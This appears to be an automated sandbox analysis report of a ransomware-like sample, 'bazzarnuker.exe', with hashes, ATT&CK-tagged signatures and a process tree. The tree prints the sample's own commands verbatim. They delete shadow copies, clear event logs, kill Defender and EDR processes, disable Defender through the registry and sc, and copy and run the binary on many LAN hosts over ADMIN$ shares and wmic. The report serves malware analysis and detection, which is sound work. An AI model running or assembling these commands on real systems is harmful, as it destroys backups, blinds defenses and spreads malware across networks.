e291887bbb71c61d72db816c7feab8822507bf1accbc089ce91f56ef72b3aea8

Analysis

max time kernel
150s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 00:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bazzarnuker.exe
Size 178KB
Sample260628-abk36set4q
SHA256 e291887bbb71c61d72db816c7feab8822507bf1accbc089ce91f56ef72b3aea8
MD5 0f6cc58930d05645287d1e16872d0a56
SHA1 efa5cb2cb932d0877cb7c458696e1a26ff936eb0
SHA512 b0b60e8e868c7b6a4ddc92061e260d30adba8049deb5850905b01d716863862e941e9f8ec69d1ed55bf297624558a2b164894d86c7b4937d4389d1c95bbd955b
SSDEEP 3072:EXlspKKRWSrcdS9G8KuZZ7USJgBRF0+SRr5XEd7CpN15XrUKAJIJK0Rohh:EXlsIvdGGHuD7FapNwW7G9XoaJFRoh
TLSH
T1C80423D2B356DA43F420F83206A769A1F5E180039D1BEF989A9DA177C0C17E1BF009D2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution impact ransomware trojan upx

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
5488	wevtutil.exe
3744	wevtutil.exe
2836	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4072-0-0x00007FF622B00000-0x00007FF622B7C000-memory.dmp	upx
behavioral2/memory/4072-140-0x00007FF622B00000-0x00007FF622B7C000-memory.dmp	upx

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3456	sc.exe
812	sc.exe
1356	sc.exe
796	sc.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4412	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2368	vssadmin.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
1804	taskkill.exe
4536	taskkill.exe
2688	taskkill.exe
1156	taskkill.exe
3312	taskkill.exe
2756	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1708	wmic.exe
1708	wmic.exe
1708	wmic.exe
1708	wmic.exe
2724	wmic.exe
2724	wmic.exe
5408	wmic.exe
5408	wmic.exe
2724	wmic.exe
2724	wmic.exe
5408	wmic.exe
5408	wmic.exe
824	wmic.exe
824	wmic.exe
824	wmic.exe
824	wmic.exe
2032	wmic.exe
2032	wmic.exe
2032	wmic.exe
2032	wmic.exe
1532	wmic.exe
1532	wmic.exe
1532	wmic.exe
1532	wmic.exe
4252	wmic.exe
4252	wmic.exe
4252	wmic.exe
4252	wmic.exe
1704	wmic.exe
1704	wmic.exe
1704	wmic.exe
1704	wmic.exe
692	wmic.exe
692	wmic.exe
692	wmic.exe
692	wmic.exe
3336	wmic.exe
3336	wmic.exe
3336	wmic.exe
3336	wmic.exe
1840	wmic.exe
1840	wmic.exe
1840	wmic.exe
1840	wmic.exe
1048	wmic.exe
1048	wmic.exe
1048	wmic.exe
1048	wmic.exe
5620	wmic.exe
5620	wmic.exe
5620	wmic.exe
5620	wmic.exe
6048	wmic.exe
6048	wmic.exe
6048	wmic.exe
6048	wmic.exe
2604	wmic.exe
2604	wmic.exe
2604	wmic.exe
2604	wmic.exe
1320	wmic.exe
1320	wmic.exe
1320	wmic.exe
1320	wmic.exe

Suspicious behavior: LoadsDriver 32 IoCs

pid
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4
4

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1804	taskkill.exe
Token: SeSecurityPrivilege	2836	wevtutil.exe
Token: SeBackupPrivilege	2836	wevtutil.exe
Token: SeDebugPrivilege	3312	taskkill.exe
Token: SeDebugPrivilege	2688	taskkill.exe
Token: SeDebugPrivilege	2756	taskkill.exe
Token: SeIncreaseQuotaPrivilege	1708	wmic.exe
Token: SeSecurityPrivilege	1708	wmic.exe
Token: SeTakeOwnershipPrivilege	1708	wmic.exe
Token: SeLoadDriverPrivilege	1708	wmic.exe
Token: SeSystemProfilePrivilege	1708	wmic.exe
Token: SeSystemtimePrivilege	1708	wmic.exe
Token: SeProfSingleProcessPrivilege	1708	wmic.exe
Token: SeIncBasePriorityPrivilege	1708	wmic.exe
Token: SeCreatePagefilePrivilege	1708	wmic.exe
Token: SeBackupPrivilege	1708	wmic.exe
Token: SeRestorePrivilege	1708	wmic.exe
Token: SeShutdownPrivilege	1708	wmic.exe
Token: SeDebugPrivilege	1708	wmic.exe
Token: SeSystemEnvironmentPrivilege	1708	wmic.exe
Token: SeRemoteShutdownPrivilege	1708	wmic.exe
Token: SeUndockPrivilege	1708	wmic.exe
Token: SeManageVolumePrivilege	1708	wmic.exe
Token: 33	1708	wmic.exe
Token: 34	1708	wmic.exe
Token: 35	1708	wmic.exe
Token: 36	1708	wmic.exe
Token: SeSecurityPrivilege	3744	wevtutil.exe
Token: SeBackupPrivilege	3744	wevtutil.exe
Token: SeSecurityPrivilege	5488	wevtutil.exe
Token: SeBackupPrivilege	5488	wevtutil.exe
Token: SeDebugPrivilege	1156	taskkill.exe
Token: SeDebugPrivilege	4536	taskkill.exe
Token: SeBackupPrivilege	2944	vssvc.exe
Token: SeRestorePrivilege	2944	vssvc.exe
Token: SeAuditPrivilege	2944	vssvc.exe
Token: SeIncreaseQuotaPrivilege	1708	wmic.exe
Token: SeSecurityPrivilege	1708	wmic.exe
Token: SeTakeOwnershipPrivilege	1708	wmic.exe
Token: SeLoadDriverPrivilege	1708	wmic.exe
Token: SeSystemProfilePrivilege	1708	wmic.exe
Token: SeSystemtimePrivilege	1708	wmic.exe
Token: SeProfSingleProcessPrivilege	1708	wmic.exe
Token: SeIncBasePriorityPrivilege	1708	wmic.exe
Token: SeCreatePagefilePrivilege	1708	wmic.exe
Token: SeBackupPrivilege	1708	wmic.exe
Token: SeRestorePrivilege	1708	wmic.exe
Token: SeShutdownPrivilege	1708	wmic.exe
Token: SeDebugPrivilege	1708	wmic.exe
Token: SeSystemEnvironmentPrivilege	1708	wmic.exe
Token: SeRemoteShutdownPrivilege	1708	wmic.exe
Token: SeUndockPrivilege	1708	wmic.exe
Token: SeManageVolumePrivilege	1708	wmic.exe
Token: 33	1708	wmic.exe
Token: 34	1708	wmic.exe
Token: 35	1708	wmic.exe
Token: 36	1708	wmic.exe
Token: SeIncreaseQuotaPrivilege	2724	wmic.exe
Token: SeSecurityPrivilege	2724	wmic.exe
Token: SeTakeOwnershipPrivilege	2724	wmic.exe
Token: SeLoadDriverPrivilege	2724	wmic.exe
Token: SeSystemProfilePrivilege	2724	wmic.exe
Token: SeSystemtimePrivilege	2724	wmic.exe
Token: SeProfSingleProcessPrivilege	2724	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4072 wrote to memory of 1804	4072	bazzarnuker.exe	89
PID 4072 wrote to memory of 2368	4072	bazzarnuker.exe	91
PID 4072 wrote to memory of 1708	4072	bazzarnuker.exe	92
PID 4072 wrote to memory of 2836	4072	bazzarnuker.exe	93
PID 4072 wrote to memory of 3744	4072	bazzarnuker.exe	94
PID 4072 wrote to memory of 5488	4072	bazzarnuker.exe	95
PID 4072 wrote to memory of 2756	4072	bazzarnuker.exe	96
PID 4072 wrote to memory of 3312	4072	bazzarnuker.exe	97
PID 4072 wrote to memory of 1156	4072	bazzarnuker.exe	98
PID 4072 wrote to memory of 2688	4072	bazzarnuker.exe	99
PID 4072 wrote to memory of 4536	4072	bazzarnuker.exe	100
PID 4072 wrote to memory of 2888	4072	bazzarnuker.exe	102
PID 4072 wrote to memory of 5068	4072	bazzarnuker.exe	103
PID 4072 wrote to memory of 3476	4072	bazzarnuker.exe	105
PID 4072 wrote to memory of 796	4072	bazzarnuker.exe	106
PID 4072 wrote to memory of 1356	4072	bazzarnuker.exe	107
PID 4072 wrote to memory of 812	4072	bazzarnuker.exe	109
PID 4072 wrote to memory of 3456	4072	bazzarnuker.exe	111
PID 4072 wrote to memory of 4412	4072	bazzarnuker.exe	112
PID 4072 wrote to memory of 5016	4072	bazzarnuker.exe	129
PID 4072 wrote to memory of 5492	4072	bazzarnuker.exe	130
PID 4072 wrote to memory of 2296	4072	bazzarnuker.exe	131
PID 4072 wrote to memory of 6128	4072	bazzarnuker.exe	135
PID 4072 wrote to memory of 1816	4072	bazzarnuker.exe	136
PID 4072 wrote to memory of 1852	4072	bazzarnuker.exe	137
PID 4072 wrote to memory of 3504	4072	bazzarnuker.exe	138
PID 4072 wrote to memory of 2600	4072	bazzarnuker.exe	139
PID 4072 wrote to memory of 824	4072	bazzarnuker.exe	147
PID 4072 wrote to memory of 2724	4072	bazzarnuker.exe	148
PID 4072 wrote to memory of 5408	4072	bazzarnuker.exe	149
PID 4072 wrote to memory of 2032	4072	bazzarnuker.exe	153
PID 4072 wrote to memory of 1532	4072	bazzarnuker.exe	155
PID 4072 wrote to memory of 692	4072	bazzarnuker.exe	157
PID 4072 wrote to memory of 4252	4072	bazzarnuker.exe	158
PID 4072 wrote to memory of 1704	4072	bazzarnuker.exe	161
PID 4072 wrote to memory of 2648	4072	bazzarnuker.exe	165
PID 4072 wrote to memory of 716	4072	bazzarnuker.exe	166
PID 4072 wrote to memory of 5068	4072	bazzarnuker.exe	169
PID 4072 wrote to memory of 4296	4072	bazzarnuker.exe	171
PID 4072 wrote to memory of 3800	4072	bazzarnuker.exe	173
PID 4072 wrote to memory of 1004	4072	bazzarnuker.exe	174
PID 4072 wrote to memory of 5884	4072	bazzarnuker.exe	175
PID 4072 wrote to memory of 304	4072	bazzarnuker.exe	179
PID 4072 wrote to memory of 3336	4072	bazzarnuker.exe	181
PID 4072 wrote to memory of 1840	4072	bazzarnuker.exe	183
PID 4072 wrote to memory of 1048	4072	bazzarnuker.exe	185
PID 4072 wrote to memory of 5620	4072	bazzarnuker.exe	187
PID 4072 wrote to memory of 6048	4072	bazzarnuker.exe	189
PID 4072 wrote to memory of 2604	4072	bazzarnuker.exe	190
PID 4072 wrote to memory of 1320	4072	bazzarnuker.exe	193
PID 4072 wrote to memory of 5336	4072	bazzarnuker.exe	195
PID 4072 wrote to memory of 2900	4072	bazzarnuker.exe	197
PID 4072 wrote to memory of 4320	4072	bazzarnuker.exe	199
PID 4072 wrote to memory of 2136	4072	bazzarnuker.exe	201
PID 4072 wrote to memory of 964	4072	bazzarnuker.exe	203
PID 4072 wrote to memory of 3664	4072	bazzarnuker.exe	205
PID 4072 wrote to memory of 2968	4072	bazzarnuker.exe	206
PID 4072 wrote to memory of 1916	4072	bazzarnuker.exe	209
PID 4072 wrote to memory of 4064	4072	bazzarnuker.exe	210
PID 4072 wrote to memory of 5376	4072	bazzarnuker.exe	213
PID 4072 wrote to memory of 2104	4072	bazzarnuker.exe	215
PID 4072 wrote to memory of 3476	4072	bazzarnuker.exe	217
PID 4072 wrote to memory of 4868	4072	bazzarnuker.exe	219
PID 4072 wrote to memory of 1532	4072	bazzarnuker.exe	221

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe
"C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4072
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im javaw.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1804
- C:\Windows\system32\vssadmin.exe
  "vssadmin" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2368
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Application
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl System
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:3744
- C:\Windows\system32\wevtutil.exe
  "wevtutil" cl Security
  2⤵
  - Clears Windows event logs
  - Suspicious use of AdjustPrivilegeToken
  PID:5488
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im MsMpEng.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im NisSrv.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3312
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im cb.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1156
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im csfalconservice.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2688
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im csagent.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4536
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:2888
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5068
- C:\Windows\system32\reg.exe
  "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3476
- C:\Windows\system32\sc.exe
  "sc" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:796
- C:\Windows\system32\sc.exe
  "sc" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:1356
- C:\Windows\system32\sc.exe
  "sc" stop Sense
  2⤵
  - Launches sc.exe
  PID:812
- C:\Windows\system32\sc.exe
  "sc" config Sense start= disabled
  2⤵
  - Launches sc.exe
  PID:3456
- C:\Windows\system32\ipconfig.exe
  "ipconfig"
  2⤵
  - Gathers network information
  PID:4412
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.1\ADMIN$\b.exe
  2⤵
  PID:5016
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.128\ADMIN$\b.exe
  2⤵
  PID:5492
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.64\ADMIN$\b.exe
  2⤵
  PID:2296
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.32\ADMIN$\b.exe
  2⤵
  PID:6128
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.16\ADMIN$\b.exe
  2⤵
  PID:1816
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.8\ADMIN$\b.exe
  2⤵
  PID:1852
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.48\ADMIN$\b.exe
  2⤵
  PID:3504
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.24\ADMIN$\b.exe
  2⤵
  PID:2600
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.64 process call create \\192.168.1.64\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:824
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.8 process call create \\192.168.1.8\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.48 process call create \\192.168.1.48\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5408
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.128 process call create \\192.168.1.128\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2032
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.1 process call create \\192.168.1.1\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.16 process call create \\192.168.1.16\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:692
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.24 process call create \\192.168.1.24\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4252
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.32 process call create \\192.168.1.32\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1704
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.49\ADMIN$\b.exe
  2⤵
  PID:2648
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.9\ADMIN$\b.exe
  2⤵
  PID:716
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.65\ADMIN$\b.exe
  2⤵
  PID:5068
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.2\ADMIN$\b.exe
  2⤵
  PID:4296
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.33\ADMIN$\b.exe
  2⤵
  PID:3800
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.129\ADMIN$\b.exe
  2⤵
  PID:1004
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.17\ADMIN$\b.exe
  2⤵
  PID:5884
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.25\ADMIN$\b.exe
  2⤵
  PID:304
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.9 process call create \\192.168.1.9\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3336
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.49 process call create \\192.168.1.49\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1840
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.65 process call create \\192.168.1.65\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1048
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.2 process call create \\192.168.1.2\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5620
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.33 process call create \\192.168.1.33\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6048
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.25 process call create \\192.168.1.25\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2604
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.17 process call create \\192.168.1.17\ADMIN$\b.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1320
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.129 process call create \\192.168.1.129\ADMIN$\b.exe
  2⤵
  PID:5336
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.10\ADMIN$\b.exe
  2⤵
  PID:2900
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.50\ADMIN$\b.exe
  2⤵
  PID:4320
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.66\ADMIN$\b.exe
  2⤵
  PID:2136
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.3\ADMIN$\b.exe
  2⤵
  PID:964
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.26\ADMIN$\b.exe
  2⤵
  PID:3664
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.34\ADMIN$\b.exe
  2⤵
  PID:2968
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.130\ADMIN$\b.exe
  2⤵
  PID:1916
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.18\ADMIN$\b.exe
  2⤵
  PID:4064
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.10 process call create \\192.168.1.10\ADMIN$\b.exe
  2⤵
  PID:5376
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.50 process call create \\192.168.1.50\ADMIN$\b.exe
  2⤵
  PID:2104
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.66 process call create \\192.168.1.66\ADMIN$\b.exe
  2⤵
  PID:3476
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.3 process call create \\192.168.1.3\ADMIN$\b.exe
  2⤵
  PID:4868
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.26 process call create \\192.168.1.26\ADMIN$\b.exe
  2⤵
  PID:1532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.130 process call create \\192.168.1.130\ADMIN$\b.exe
  2⤵
  PID:5696
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.34 process call create \\192.168.1.34\ADMIN$\b.exe
  2⤵
  PID:3328
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.18 process call create \\192.168.1.18\ADMIN$\b.exe
  2⤵
  PID:2204
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.11\ADMIN$\b.exe
  2⤵
  PID:1628
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.51\ADMIN$\b.exe
  2⤵
  PID:3464
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.67\ADMIN$\b.exe
  2⤵
  PID:4464
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.4\ADMIN$\b.exe
  2⤵
  PID:2088
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.35\ADMIN$\b.exe
  2⤵
  PID:3044
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.19\ADMIN$\b.exe
  2⤵
  PID:6024
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.27\ADMIN$\b.exe
  2⤵
  PID:5020
- C:\Windows\system32\cmd.exe
  "cmd" /c copy /Y C:\Users\Admin\AppData\Local\Temp\bazzarnuker.exe \\192.168.1.131\ADMIN$\b.exe
  2⤵
  PID:4624
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.11 process call create \\192.168.1.11\ADMIN$\b.exe
  2⤵
  PID:5068
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" /node: 192.168.1.51 process call create \\192.168.1.51\ADMIN$\b.exe
  2⤵
  PID:328